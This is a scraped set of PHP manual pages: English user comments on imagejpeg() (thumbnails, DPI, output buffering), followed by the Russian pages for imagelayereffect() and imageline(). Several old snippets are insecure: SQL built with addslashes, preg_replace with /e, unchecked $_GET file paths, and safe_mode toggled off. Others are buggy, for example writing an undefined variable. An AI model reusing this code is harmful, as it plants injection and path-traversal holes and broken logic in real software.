As you can see, the function moves the uploaded file where you want to save the resampled image (move_uploaded_file is not restricted by safe_mode) and then you can resample the image, because it was created by moving it already.

Note: the directory where you want to save the file must have permissions set to 0777.
viciousVelo 06-Apr-2009 07:49
for those who get the message "permission denied" or "unable to access": it looks like a problem with your writepermissions to this folder. no matter if you use windows- or linuxserver, be sure the correct user has the permission to write to the correct folder.
francesco@essensys 26-Mar-2009 05:23
I didn't find any example like this on the Web, so I mixed pieces together.. hope this will save time to other people!

Here's a complete solution to READ any image (gif jpg png) from the FILESYSTEM, SCALE it to a max width/height, SAVE the scaled image to a BLOB field keeping the original image type. Quite tricky..

<?php

function scaleImageFileToBlob($file) {

    $source_pic = $file;
    $max_width = 200;
    $max_height = 200;

    list($width, $height, $image_type) = getimagesize($file);

    switch ($image_type)
    {
        case 1: $src = imagecreatefromgif($file); break;
        case 2: $src = imagecreatefromjpeg($file);  break;
        case 3: $src = imagecreatefrompng($file); break;
        default: return '';  break;
    }

    $x_ratio = $max_width / $width;
    $y_ratio = $max_height / $height;

    if( ($width <= $max_width) && ($height <= $max_height) ){
        $tn_width = $width;
        $tn_height = $height;
        }elseif (($x_ratio * $height) < $max_height){
            $tn_height = ceil($x_ratio * $height);
            $tn_width = $max_width;
        }else{
            $tn_width = ceil($y_ratio * $width);
            $tn_height = $max_height;
    }

    $tmp = imagecreatetruecolor($tn_width,$tn_height);

    /* Check if this image is PNG or GIF, then set if Transparent*/
    if(($image_type == 1) OR ($image_type==3))
    {
        imagealphablending($tmp, false);
        imagesavealpha($tmp,true);
        $transparent = imagecolorallocatealpha($tmp, 255, 255, 255, 127);
        imagefilledrectangle($tmp, 0, 0, $tn_width, $tn_height, $transparent);
    }
    imagecopyresampled($tmp,$src,0,0,0,0,$tn_width, $tn_height,$width,$height);

    /*
     * imageXXX() only has two options, save as a file, or send to the browser.
     * It does not provide you the oppurtunity to manipulate the final GIF/JPG/PNG file stream
     * So I start the output buffering, use imageXXX() to output the data stream to the browser,
     * get the contents of the stream, and use clean to silently discard the buffered contents.
     */
    ob_start();

    switch ($image_type)
    {
        case 1: imagegif($tmp); break;
        case 2: imagejpeg($tmp, NULL, 100);  break; // best quality
        case 3: imagepng($tmp, NULL, 0); break; // no compression
        default: echo ''; break;
    }

    $final_image = ob_get_contents();

    ob_end_clean();

    return $final_image;
}

?>

So, let's suppose you have a form where a user can upload an image, and you have to scale it and save it into your database.

<?php

    [..] // the user has clicked the Submit button..

    // Check if the user entered an image
    if ($_FILES['imagefile']['name'] != '') {
        $image = scaleImageFileToBlob($_FILES['imagefile']['tmp_name']);

        if ($image == '') {
            echo 'Image type not supported';
        } else {
            $image_type = $_FILES['imagefile']['type'];
            $image = addslashes($image);

            $query  = "UPDATE yourtable SET image_type='$image_type', image='$image' WHERE ...";
            $result = mysql_query($query);
            if ($result) {
               echo 'Image scaled and uploaded';
             } else {
               echo 'Error running the query';
             }
        }
    }

?>
soapergem at gmail dot com 06-Nov-2008 01:48
I came here looking for something similar to the getJPEGresolution function, but noticed the drawbacks that were pointed out in the last post. So, after drawing on some other code examples on the web, I put together the following function which should always properly return the correct values. (But remember that you still need to have the EXIF extension installed with your instance of PHP for this to work!)

<?php

function jpeg_dpi($filename)
{
    if ( exif_imagetype($filename) != IMAGETYPE_JPEG ) {
        return false;
    } else {
        $exif = exif_read_data($filename, 'IFD0');
    }

    $x = $y = 0;
    if ( isset($exif['XResolution']) && isset($exif['YResolution']) ) {
        $x = intval(preg_replace('@^(\\d+)/(\\d+)$@e', '$1/$2', $exif['XResolution']));
        $y = intval(preg_replace('@^(\\d+)/(\\d+)$@e', '$1/$2', $exif['YResolution']));
    }

    if ( !$x && !$y && $fp = fopen($filename, 'r') ) {
        $string = fread($fp, 20);
        fclose($fp);

        $data = bin2hex(substr($string, 14, 4));
        $x = hexdec(substr($data, 0, 4));
        $y = hexdec(substr($data, 4, 4));
    }

    if ( $x || $y ) {
        return array($x, $y);
    }

    return false;
}

?>

This function returns an array with the x-resolution, y-resolution when they can be determined, otherwise FALSE.
ahows at noggin dot com dot au 21-Oct-2008 10:36
Regarding the code below, it only grabs the last byte of the DPI information in JFIF-mode. I was wondering why my 300-DPI file was being reported as 44. 300 - 256 = 44 of course.
lorezyra (at) lorezyra (dot) com 13-Sep-2008 06:50
For those looking to grab the resolution of a JPEG image without using GD nor ImageMagic... I wrote this simple function.

Too bad GD doesn't have this very simple function for us to use...

<?php
function getJPEGresolution($filename){
    $outRez=array();
    // Read the file
    ob_start(); // start a new output buffer
    $image   = file_get_contents($filename);

    // grab DPI information from the JPG header
    $outRez["xDPI"] = ord($image[15]);
    $outRez["yDPI"] = ord($image[17]);
    ob_end_clean(); // stop this output buffer

    //xDPI and yDPI should equal in value... but we output both anyway...
    return($outRez);
}//end function getJPEGresolution
?>
stefan at colulus dot com 30-May-2008 11:16
I worked out a script that allows the transfer of alphanumeric data to be placed on an image. The HTML feature is img src and the php feature is imagettftext. This simple code will increment from 1 to 3 on images.

code:

<?php
//ImageCall.php -- This script will call a script to produce the image.
for($next = 1;$next < 4; $next++){
print "Image $next:<br>";
print "<img src = 'Image.php?\$text=$next'>";
print "<br><br>";
}
?>

<?php
//Image.php -- This script creates a square image and places the text on it.

// image size and color
$im = ImageCreate(77,77);
$color1 = ImageColorAllocate($im,0x66,0xCC,0x00);
$color2 = ImageColorAllocate($im,0x33,0x66,0x00);
$color3 = ImageColorAllocate($im,0x00,0x99,0x00);
$color4 = ImageColorAllocate($im,0x3D,0x3D,0x3D);

// image creation
ImageFilledRectangle($im,1,1,76,76,$color1);
ImageFilledpolygon($im, array (76,1,1,76,76,76),3,$color2);
ImageFilledRectangle($im,5,5,72,72,$color3);

// determine numeric center of image
$size = ImageTTFBBox(45,0,'impact',$_GET['$text']);
$X = (77 - (abs($size[2]- $size[0])))/2;
$Y = ((77 - (abs($size[5] - $size[3])))/2 + (abs($size[5] - $size[3])));

//places numeric information on image
ImageTTFText($im,45,0,($X-1),$Y,$color4,'impact',$_GET['$text']);

//returns completed image to calling script
Header('Content-Type: image/png');
Imagejpeg($im);

?>
Anonymous 16-Mar-2008 10:24
Here is a function to resize an image and maintain aspect ratio. It will resize jpeg, gif or png and could easily be modified to add bmp. The name field is the destination of the file minus the file extension:

<?php
//name= filename minus type
    function createImage($uploadedfile,$newWidth,$name)
    {
        // Capture the original size of the uploaded image
        if(!$info=getimagesize($uploadedfile))
          return false;

        switch ($info['mime'])
        {
            case 'image/jpeg':
                $src = imagecreatefromjpeg($uploadedfile);
                break;
            case 'image/gif':
                $src = imagecreatefromgif($uploadedfile);
                break;
            case 'image/png':
                $src = imagecreatefrompng($uploadedfile);
                break;
            default:
                return false;
        }

        //Change the filename to add the filetype
        $mime=split("image/",$info['mime']);
        $filename=$name.".".$mime[1];

        $size = getimagesize($uploadedfile);
        $newHeight=aspect_ratio($size[0],$newWidth,$size[1]);

        $tmp=imagecreatetruecolor($newWidth,$newHeight);

        // this line actually does the image resizing, copying from the original
        // image into the $tmp image
        imagecopyresampled($tmp,$src,0,0,0,0,$newWidth,$newHeight,$info[0], $info[1]);

        switch ($info['mime'])
        {
            case 'image/jpeg':
                imagejpeg($tmp,$filename,100); //100 is the quality settings, values range from 0-100.
                break;
            case 'image/gif':
                imagegif($tmp,$filename,100); //100 is the quality settings, values range from 0-100.
                break;
            case 'image/png':
                imagepng($tmp,$filename); //100 is the quality settings, values range from 0-100.
                break;
        }

        imagedestroy($src);
        imagedestroy($tmp); // NOTE: PHP will clean up the temp file it created when the request
        // has completed.
        return true;
    }

    if(!createImage($uploadedfile,100, "uploaded_images/imgname"))
    {
      echo "error";
    }
?>
Michaelsoft 16-Oct-2007 02:50
[Editor's note: fixed according to the note of roberto at ilpiola.it]

I could not find any information on changing the DPI information on a JPG file using the GD lib. Since changing this does not resize or scale the actual image, it is only a header-setting.
The following snipplet will save your $image to $file and set the DPI to 150.

<?php

  imagejpeg($image, $file, 75);

  // Change DPI
  $dpi_x   = 150;
  $dpi_y   = 150;

  // Read the file
  $size    = filesize($file);
  $image   = file_get_contents($file);

  // Update DPI information in the JPG header
  $image[13] = chr(1);
  $image[14] = chr(floor($dpi_x/256));
  $image[15] = chr(      $dpi_x%256);
  $image[16] = chr(floor($dpi_y/256));
  $image[17] = chr(      $dpi_y%256);

  // Write the new JPG
  $f = fopen($file, 'w');
  fwrite($f, $msg, $size);
  fclose($f);

?>

P.s. not fully tested (yet) but it works for my images ...
Elliott Brueggeman 30-Jul-2007 09:37
I did an experiment with the image quality parameter of the imagejpeg() function when creating jpegs. I found the optimal image quality with file size is taken into account to be 80 - very close to the default value of 75.

Anything over 80 results in an unnecessary increase in file size without much increase in image quality.

Results and sample pictures: http://www.ebrueggeman.com/article_php_image_optimization.php
Pedja (pedja at supurovic dot net) 26-Jul-2007 10:59
Here is sample function that creates thumbnail of source JPEG file. Thumbnail wil be in square form (with and height are the same), and original image cropped to fit in.

Parameters:

$p_thumb_file - name of the file (including path) where thumb should be saved to

$p_photo_file - nam of the source JPEG file (including path) thatthumbnail should be created of

$p_max_size - with and height (they will be the same) in pixels for thumbnail image

$p_quality - quality of jpeg thumbnail

<?php

function photoCreateCropThumb ($p_thumb_file, $p_photo_file, $p_max_size, $p_quality = 75) {

    $pic = @imagecreatefromjpeg($p_photo_file);

    if ($pic) {
        $thumb = @imagecreatetruecolor ($p_max_size, $p_max_size) or die ("Can't create Image!");
        $width = imagesx($pic);
        $height = imagesy($pic);
        if ($width < $height) {
                $twidth = $p_max_size;
                $theight = $twidth * $height / $width;
                imagecopyresized($thumb, $pic, 0, 0, 0, ($height/2)-($width/2), $twidth, $theight, $width, $height);
        } else {
                $theight = $p_max_size;
                $twidth = $theight * $width / $height;
                imagecopyresized($thumb, $pic, 0, 0, ($width/2)-($height/2), 0, $twidth, $theight, $width, $height);
        }

        ImageJPEG ($thumb, $p_thumb_file, $p_quality);
    }

}

?>
webmaster at jongliertreff dot de 25-Aug-2006 04:56
Here's another on-the-fly thumbnail creation script.
When I scripted the pictuerviewer on my page, I had all the pictures only in full size and qualit, because I wanted the posibility fur visitors to download the pictures.
But as Imagesizes of more than 4 MP are to large for websites, I created thumbnails and the smaller pictures on the fly. But I found out, that the Script needed too much RAM, especially in the thumbnail overview, when I had more then 50 thumbnails to create on the fly at the same time.

So I modified my image creator and my viewer to let them store images, that are created. So only the first visitor has to wait (which is usually me for controlling the uploads und updates), all other visitors get the stored images, which is much faster.

Create different folders. I have a main folder called 'imagesdb' and the tree subfolders full (Full quality images), show (images for the picture viewer) and thumb (for thumbnails in overview).

Store the script for example as image.php and link it like that:

<?PHP
$image_name = "foo.jpg";
$style = "show";
     // I've taken the foldernames. It's easier. For the
     //thumbnails replace "show" with "thumb".
$image_name = "imagesdb/$style/$image_name";
if(!file_exists($image_name))
        $image_name = "image.php?image_name=$image_name&style=$style";
     // only if file doesn't exist call the on-the-fly creating file
?>

Now the main script, stored in the file image.php:

<?PHP

$image_name = $_GET['image_name'];
$style = $_GET['style'];

     // Now set the maximum sizes to the different styles.
     // You may set additional styles, but remember to
     // create the according subfolders.

switch($style) {
  case "show":
    $max_size = 800;
    break;
  case "thumb":
    $max_size = 125;
}

$dest_file = "imagesdb/$style/$image_name";
     // set output file
$image_file = "imagesdb/full/$image_name";
     // set source file
$size = getimagesize($image_file);
     // get original size

if($size[0] > $size[1]) {
  $divisor = $size[0] / $max_size;
}
else {
  $divisor = $size[1] / $max_size;
}
     // to get allways pictures of the same size, which ist
     // mostly wanted in imageviewers, look what ist larger:
     // width or height

$new_width = $size[0] / $divisor;
$new_height = $size[1] / $divisor;
     // set new sizes

settype($new_width, 'integer');
settype($new_height, 'integer');
     // sizes should be integers

$image_big = imagecreatefromjpeg($image_file);
     // load original image
$image_small = imagecreatetruecolor($new_width, $new_height);
     // create new image
imagecopyresampled($image_small, $image_big, 0,0, 0,0, $new_width,$new_height, $size[0],$size[1]);
     // imageresampled whill result in a much higher quality
     // than imageresized
imagedestroy($image_big);
     // the original data are no longer used

header("Content-type: image/jpeg");

if($style=="show" || $style=="thumb") {
  if(!file_exists($dest_file))
    imagejpeg($image_small, $dest_file, 100);
}
     // if you have set additional sizese put them in the
     // if-arguments, too.
     // if someone calls the image.php directly in the
     // browser with imagenames allready existing, they
     // won't be overwritten

imagejpeg($image_small, '', 100);
imagedestroy($image_small);
     // finally send image to browser and destroy no longer
     // needed data.

?>

As this website helped me for several times in the past and for creating this script, I hope I can help others with this script saving the time for developing a much more performant solution than an allways-on-the-fly-creating script.
chris dot calo at gmail dot com 24-Jul-2006 07:30
Thanks to Stuart and Darren for the corrections to the create_thumbnail function.  Another note on that function: imagecreatefromwbmp was incorrectly used.  WBMPs are wireless bitmaps, not windows bitmaps (thanks to clambert at whitecrown), so the thumbnail routine as is will not be able to handle windows bitmaps.  See the notes at http://us2.php.net/manual/en/function.imagecreatefromwbmp.php for tips on working with windows bitmaps.
stuart at purpletoucan dot com 23-Jul-2006 10:55
Thanks to Chris dot Calo for the thumbnail snippet.  The file type issue is easily resolved by getting the type from the file with getimagesize, and you can handle unsupported types at that stage too.  Thus:

   list($img_width,$img_height, $type) = getimagesize($source_file); // Get the original dimentions
   if ($type != 1 && $type != 2 && $type != 3 && $type != 15) { die("Your file is not a supported format"); }

...and then later check the type again to open the image correctly:

   if ( $type == 1 ) { $img_source = imagecreatefromgif($source_file); }
   else if ( $type == 2 ) { $img_source = imagecreatefromjpeg($source_file); }
   else if ( $type == 3 ) { $img_source = imagecreatefrompng($source_file); }
   else if ( $type == 15 ) { $img_source = imagecreatefromwbmp($source_file); }
Darren Kulp ( kulp at thekulp dot com ) 18-Jul-2006 08:47
With regard to chris.calo's code:

// The following block retrieves the source file.  It assumes the filename extensions match the file's format.
   if ( strpos($source_file,".gif") ) { $img_source = imagecreatefromgif($source_file); }
   if ( (strpos($source_file,".jpg")) || (strpos($source_file,".jpeg")) )
 ... etc.

It assumes more than that, namely that the filename does not contain the strings '.gif', '.jpg', '.jpeg', '.bmp', or '.png' *anywhere* in the string. Some valid files with special filenames could break this; for example, a file named "used.to.be.a.png.file.gif" would cause this script to attempt to load the file as a PNG. Obviously this is a rare case, but the issue could be easily avoided by using "else ifs" (uses less CPU time) or checking that the extension abuts the end of the string or both.

That said, the whole business could be avoided if PHP didn't clutter the namespace with different functions to do the same thing with different image formats. Ick.
chris dot calo at gmail dot com 17-Jul-2006 02:44
function create_thumbnail( $source_file, $destination_file, $max_dimension)
{
    list($img_width,$img_height) = getimagesize($source_file); // Get the original dimentions
    $aspect_ratio = $img_width / $img_height;

    if ( ($img_width > $max_dimension) || ($img_height > $max_dimension) ) // If either dimension is too big...
    {
        if ( $img_width > $img_height ) // For wide images...
        {
            $new_width = $max_dimension;
            $new_height = $new_width / $aspect_ratio;
        }
        elseif ( $img_width < $img_height ) // For tall images...
        {
            $new_height = $max_dimension;
            $new_width = $new_height * $aspect_ratio;
        }
        elseif ( $img_width == $img_height ) // For square images...
        {
            $new_width = $max_dimension;
            $new_height = $max_dimension;
        }
        else { echo "Error reading image size."; return FALSE; }
    }
    else { $new_width = $img_width; $new_height = $img_height; } // If it's already smaller, don't change the size.

    // Make sure these are integers.
    $new_width = intval($new_width);
    $new_height = intval($new_height);

    $thumbnail = imagecreatetruecolor($new_width,$new_height); // Creates a new image in memory.

    // The following block retrieves the source file.  It assumes the filename extensions match the file's format.
    if ( strpos($source_file,".gif") ) { $img_source = imagecreatefromgif($source_file); }
    if ( (strpos($source_file,".jpg")) || (strpos($source_file,".jpeg")) )
    { $img_source = imagecreatefromjpeg($source_file); }
    if ( strpos($source_file,".bmp") ) { $img_source = imagecreatefromwbmp($source_file); }
    if ( strpos($source_file,".png") ) { $img_source = imagecreatefrompng($source_file); }

    // Here we resample and create the new jpeg.
    imagecopyresampled($thumbnail, $img_source, 0, 0, 0, 0, $new_width, $new_height, $img_width, $img_height);
    imagejpeg( $thumbnail, $destination_file, 100 );

    // Finally, we destroy the two images in memory.
    imagedestroy($img_source);
    imagedestroy($thumbnail);
}
your [dot] sheepy [at] gmail [dot] com 03-Apr-2006 01:34
Regarding Carl Gieringer's comment, it is possible to have PHP files in utf-8.  Just make sure the editor does not output BOM, which is unnecessary in utf-8 anyway.

Except for any editors from Microsoft, most programmer's editors that supports utf allows you to surpress BOM.
03-Jan-2006 05:59
Hi

I had similar problem with safe mode. My solution is:

before imagejpeg(), touch() etc.
write:
ini_set(safe_mode,Off);
and after everything:
ini_set(safe_mode,On);

strange, but it works
Chears2All
Kenneth Keiter 17-Dec-2005 08:59
So.. after messing around with this beast of a function for hours, I discovered that it DOES NOT preserve the resource it is using the create the image, nor do imagepng() or imagegif(). By this I mean that you can not run two imagejpeg(), imagepng() or imagegif() calls on the same resource. Another possibly undocumented quirk... :-(
moron at industrial dot org 02-Nov-2005 08:12
Please note that there is a bug report open for the currently broken safe_mode behaviour on this function:

http://bugs.php.net/?id=35060

According to the PHP staffer who has responded the docs are wrong (I don't agree but I'm also not their employee).

The work around is to use touch() (or any other file system function that can do this) to create the file first before using imagejpeg().
mbailey [at] aethon [dt] co [dt] uk 18-Sep-2005 01:46
>>Bram Van Dam's

note below is missing "()" from the ob_end_clean call:

ob_end_clean; // stop this output buffer

should read

ob_end_clean(); // stop this output buffer

You can then use this for adding content-length headers (for example flash requires a content length in advance to create loaders)

e.g.

...

ob_start(); // start a new output buffer
   imagejpeg( $newimage, "", 90 );
   $ImageData = ob_get_contents();
   $ImageDataLength = ob_get_length();
ob_end_clean(); // stop this output buffer

header("Content-type: image/jpeg") ;
header("Content-Length: ".$ImageDataLength);
echo $ImageData;

...
Bram Van Dam 19-Aug-2005 12:50
If you wish to capture the jpg data into a variable, rather than outputting it or saving it into a file (perhaps so you can put it in a database), you might want to consider output buffering. Something along these lines should work:

<?php
ob_start(); // start a new output buffer
    imagejpeg( $newimage, NULL, 100 );
    $ImageData = ob_get_contents();
ob_end_clean; // stop this output buffer
?>
John Luetke <johnl1479 gmail com> 05-Aug-2005 05:53
Rewrote the manual example into this function for creating a thumbnail image:

function thumbnail_jpeg ($original, $thumbnail, $width, $height, $quality) {
  list($width_orig, $height_orig) = getimagesize($original);
  if ($width && ($width_orig < $height_orig)) {
    $width = ($height / $height_orig) * $width_orig;
  }
        else {
    $height = ($width / $width_orig) * $height_orig;
  }
  $image_p = imagecreatetruecolor($width, $height);
  $image = imagecreatefromjpeg($originial);
  imagecopyresampled($image_p, $image, 0, 0, 0, 0, $width, $height, $width_orig, $height_orig);
  imagejpeg($image_p, $thumbnail, $quality);
  return;
}
ghokanso at cs dot ndsu dot edu 08-Jun-2005 09:54
When displaying an image using imagepng or imagejpeg, you may want/need to call "header("Content-type: image/jpeg")" before the imagepng and imagejpeg functions.
It appears that some servers/browers are striping out the default header so the image is not rendered and appears as raw data.
(Firefox 1.02+ and OSX Safari for example)
wojteksw at go2 dot pl 03-Apr-2005 03:37
I have changed one line in the script of Kokesh
25-Jun-2004 06:42 listed above, and now it generates better quality thumbnails.
You have to change function imagecopyresized() to imagecopyresampled()
Kokesh 25-Jun-2004 09:42
Here is the simple, but powerful script for creating thumbnails on the fly.
You can include the script
directly to www page - just put it in <img src= tag.
with width 150pix.
This resizer respects the ASPECT RATIO.
Here is the script:
<?php
// Use it this way: resize.php?pic=imageurl&width=width_in_pixels
// kokesh@kokeshnet.com 2004
    header("Content-type: image/jpeg");
    $im     = imagecreatefromjpeg($pic);
    $orange = imagecolorallocate($im, 220, 210, 60);
    $px     = (imagesx($im) - 7.5 * strlen($string)) / 2;

    $old_x=imageSX($im);
    $old_y=imageSY($im);

    $new_w=(int)($width);
    if (($new_w<=0) or ($new_w>$old_x)) {
      $new_w=$old_x;
    }

    $new_h=($old_x*($new_w/$old_x));

    if ($old_x > $old_y) {
        $thumb_w=$new_w;
        $thumb_h=$old_y*($new_h/$old_x);

    }
    if ($old_x < $old_y) {
        $thumb_w=$old_x*($new_w/$old_y);
        $thumb_h=$new_h;
    }
    if ($old_x == $old_y) {
        $thumb_w=$new_w;
        $thumb_h=$new_h;
    }
     $thumb=ImageCreateTrueColor($thumb_w,$thumb_h);
     imagecopyresized($thumb,$im,0,0,0,0,$thumb_w,$thumb_h,$old_x,$old_y);

    imagejpeg($thumb,"",90);
    imagedestroy($thumb);
?>
25-May-2004 11:42
A word of warning when outputting images to the browser...

Make sure there is no extra spaces around the <?php ?> tags, in the file you are editing, and also any included files.

I began to think there was a bug in GD or something, and I checked the file I was working on, but forgot about the includes...

Hours gone..
gzink at zinkconsulting dot com 01-Jan-2004 03:17
Don't forget that JPEG compression has artifacts! And they're not all really obvious. The PHP JPEG compression is pretty decent, but it seems to generally:

-Lighten the image overall, by a reasonable amount (never seen this before, but it will drive graphic designers crazy, you might want to darken the image before compressing it)
-Reduce saturation, especially with images with lots of points of different color within a few pixels of each other (this is a documented feature of JPEG)
-Seriously mess with blue colors, which is common to all JPEG but really annoying in some situations with blue and black or other detailed blue parts

You might want to consider using imagepng() and outputting a PNG image instead of a JPEG if any of the above affect you, or your image is not very photo-like. Sometimes I have an algorithm compare JPEG to PNG for an image and send the smaller version to the user.

Also, when using imagepng(), you should use imageinterlace() before it 95% of the time. Interlaced JPEGs load progressively, improving in quality as the image loads, so users on slower connections see the whole image at low quality. All this happens without affecting the file size (actually, sometimes the file size is smaller!) or final quality.

Hope this helps a few people out. It's not all that obvious without lots of playing around.

-Galen
http://zinkconsulting.com/
irishcybernerd at email dot com 29-May-2003 10:33
Rather than using the temporary file, as described above, you can buffer the output stream. Someone else showed me this, and it seems to work very nicely.

    //Start buffering the output stream
    ob_start();

    // output the image as a file to the output stream
    Imagejpeg($im);

    //Read the output buffer
    $buffer = ob_get_contents();

    //clear the buffer
    ob_end_clean();

    //use $buffer as you wish...
dklein at gmx dot de 11-Dec-2001 08:52
Looks like any specified resolution settings in a JPEG file get lost when using imageJPEG() function in a script.
I had a high resolution JPEG which i added text to with imagestringup() so my customer can print the emailed JPEG as a filled form, but printing both Graphics from Photoshop revealed that any JPEG created is downsampled to 72 dpi, while width and height is kept.
(72 dpi is the standard web resolution)
Nothing to wonder about, but maybe if you read this you dont need to scratch your head :)


Установка флага альфа сопряжения для использования эффектов наложения изображений

  • « imagejpeg
  • imageline »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Установка флага альфа сопряжения для использования эффектов наложения изображений

imagelayereffect

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

imagelayereffect — Установка флага альфа сопряжения для использования эффектов наложения изображений

Описание

imagelayereffect(GdImage $image, int $effect): bool

Установка флага альфа сопряжения для использования эффектов наложения изображений.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

effect

Одна из следующих констант:

IMG_EFFECT_REPLACE
Использовать замену пикселов (аналогично передаче true в imagealphablending())
IMG_EFFECT_ALPHABLEND
Использовать обычное сопряжение цветов (аналогично передаче false в imagealphablending())
IMG_EFFECT_NORMAL
То же, что и IMG_EFFECT_ALPHABLEND.
IMG_EFFECT_OVERLAY
В результате наложения картинки с этим эффектом чёрные и белые пикселы фона изображения останутся так же чёрными и белыми, а серые поменяют цвет на цвет пиксела накладываемого изображения.
IMG_EFFECT_MULTIPLY
Оверлеи с множителем эффекта.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).
7.2.0 | Добавлена IMG_EFFECT_MULTIPLY (требует системную библиотеку libgd >= 2.1.1 или libgd идущую в комплекте с PHP).

Примеры

Пример #1 Пример использования imagelayereffect()

<?php
// Задание изображения
$im = imagecreatetruecolor(100, 100);

// Установка фона
imagefilledrectangle($im, 0, 0, 100, 100, imagecolorallocate($im, 220, 220, 220));

// Применение флага альфа сопряжения - overlay
imagelayereffect($im, IMG_EFFECT_OVERLAY);

// Рисуем два серых эллипса
imagefilledellipse($im, 50, 50, 40, 40, imagecolorallocate($im, 100, 255, 100));
imagefilledellipse($im, 50, 50, 50, 80, imagecolorallocate($im, 100, 100, 255));
imagefilledellipse($im, 50, 50, 80, 50, imagecolorallocate($im, 255, 100, 100));

// Вывод
header('Content-type: image/png');

imagepng($im);
imagedestroy($im);
?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: imagelayereffect()

User Contributed Notes

rx 23-Sep-2014 12:15
IMG_EFFECT_OVERLAY doesn't work in PHP 5.6.0 with GD version: 2.1.0-alpha.
andrew at iwebsolutions dot co dot uk 07-Oct-2008 03:38
I have been getting a fatal error:

Fatal error: Call to undefined function imagelayereffect()

This doesn't work with Ubuntu server (8.04 lts) and the php5-gd package.  If you need this you will have to recompile PHP with GD built-in.
[myname] at mac dot com 23-Feb-2008 11:45
^^ my name is coreyward ^^

imagelayereffect needs to be applied to the destination image, not the source image. As noted, the only useful "effect" as of this time is IMG_EFFECT_OVERLAY since the others are merely another way of setting the alpha blending flag.

You can also use imagecopymerge with a lower pct argument to blend two images with more control over the opacity at which the top image is blended.

<?

// overlays $im_src onto $im_dst properly (assuming same dims)

imagelayereffect($im_dst, IMG_EFFECT_OVERLAY);
imagecopy($im_dst, $im_src, 0, 0, 0, 0, $im_dst_x, $im_dst_y);

?>
Remon 05-Feb-2008 01:12
I found the following example on a Chinese site and translated and adjusted it. It creates a portrait from the sample picture.

<?php

// Portrait image
$im = imagecreatefromjpeg( "sample.jpg");

// Get width and height
$w = imagesx($im);
$h = imagesy($im);

// Non-through
$c_visible = 0x007F7F7F;
// Background (black)
$c_bg = 0x00000000;

// Create mask
$im_mask = imagecreatetruecolor($w,$h);
imageFilledRectangle($im_mask, 0,0, $w,$h, $c_bg);
imageFilledEllipse ($im_mask, $w/2,$h/2, $w*.9,$h*.9, $c_visible);

// Only overlay seems to something useful
imagelayereffect($im_mask, IMG_EFFECT_OVERLAY);

imagecopy($im_mask, $im, 0,0, 0,0, $w,$h);
imagedestroy($im);

imagepng($im_mask);
imagedestroy($im_mask);

?>

Try removing the 'create mask' code and just add another image with 'createimagefromjpeg' to see 'normal' overlay. It blends the colors like different layers in Photoshop.


Рисование линии

  • « imagelayereffect
  • imageloadfont »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Рисование линии

imageline

(PHP 4, PHP 5, PHP 7, PHP 8)

imageline — Рисование линии

Описание

imageline(
GdImage $image,
int $x1,
int $y1,
int $x2,
int $y2,
int $color
): bool

Рисует линию соединяющую две точки.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

x1

x-координата первой точки.

y1

y-координата первой точки.

x2

x-координата второй точки.

y2

y-координата второй точки.

color

Цвет линии. Идентификатор цвета, созданный функцией imagecolorallocate().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Рисование жирной линии

<?php

function imagelinethick($image, $x1, $y1, $x2, $y2, $color, $thick = 1)
{
/* этот способ применим только для ортогональных прямых
imagesetthickness($image, $thick);
return imageline($image, $x1, $y1, $x2, $y2, $color);
*/
if ($thick == 1) {
return imageline($image, $x1, $y1, $x2, $y2, $color);
}
$t = $thick / 2 - 0.5;
if ($x1 == $x2 || $y1 == $y2) {
return imagefilledrectangle($image, round(min($x1, $x2) - $t), round(min($y1, $y2) - $t), round(max($x1, $x2) + $t), round(max($y1, $y2) + $t), $color);
}
$k = ($y2 - $y1) / ($x2 - $x1); //y = kx + q
$a = $t / sqrt(1 + pow($k, 2));
$points = array(
round($x1 - (1+$k)*$a), round($y1 + (1-$k)*$a),
round($x1 - (1-$k)*$a), round($y1 - (1+$k)*$a),
round($x2 + (1+$k)*$a), round($y2 - (1-$k)*$a),
round($x2 + (1-$k)*$a), round($y2 + (1+$k)*$a),
);
imagefilledpolygon($image, $points, 4, $color);
return imagepolygon($image, $points, 4, $color);
}

?>

Смотрите также

  • imagecreatetruecolor() - Создание нового полноцветного изображения
  • imagecolorallocate() - Создание цвета для изображения

User Contributed Notes

teixeira dot cmo at gmail.com 29-Apr-2017 11:08
If you draw on a canvas, using js ctx.lineJoin = "round"; and then try to do the same on a GD $img the result will not be the same.
Here is a simple code to draw a line similar to one made using lineJoin round.

$w=5; //set your line thickness;
imagesetthickness($img, $w);
imageline($img, $x1, $y1, $x2, $y2, $color);
imagesetthickness($img, 1);
imagefilledellipse ( $img , $x2 , $y2 , $w ,$w, $color);
v dot krypton at yandex dot ru 15-Jul-2016 01:40
This function draw border to image.
function imageborder($img,$color) {
    $width = imagesx($img);
    $height = imagesy($img);
    ImageLine($img, 0, 0, $width, 0, $color);
    ImageLine($img, 0, 0, 0, $height, $color);
    ImageLine($img, $width-1, 0, $height-1, $height, $color);
    ImageLine($img, 0, $height-1, $width, $height-1, $color);
}
Nils 15-Mar-2012 12:57
A quick function using imageline that I wrote so i could specify a starting point, angle and length of vector.

Thought other people might find this useful.

<?php
$size = 600;
$img = imagecreatetruecolor($size, $size);

$white = imagecolorallocate($img, 255, 255, 255);
$black = imagecolorallocate($img, 0, 0, 0);

imagefilledrectangle($img,0,0,$size,$size,$white);

function Vector($palette,$startx,$starty,$angle,$length,$colour){
    $angle = deg2rad($angle);
    $endx = $startx+cos($angle)*$length;
    $endy = $starty-sin($angle)*$length;
    return(imageline($palette,$startx,$starty,$endx,$endy,$colour));
}

Vector($img,$size/2,$size/2,30,200,$black);

header("Content-type: image/png");
imagepng($img);

?>

For this script angles work in a anti-clockwise direction (modify + and - in function to change start of 0 degrees and also direction of angle calculated)
Anonymous 24-Jul-2011 09:44
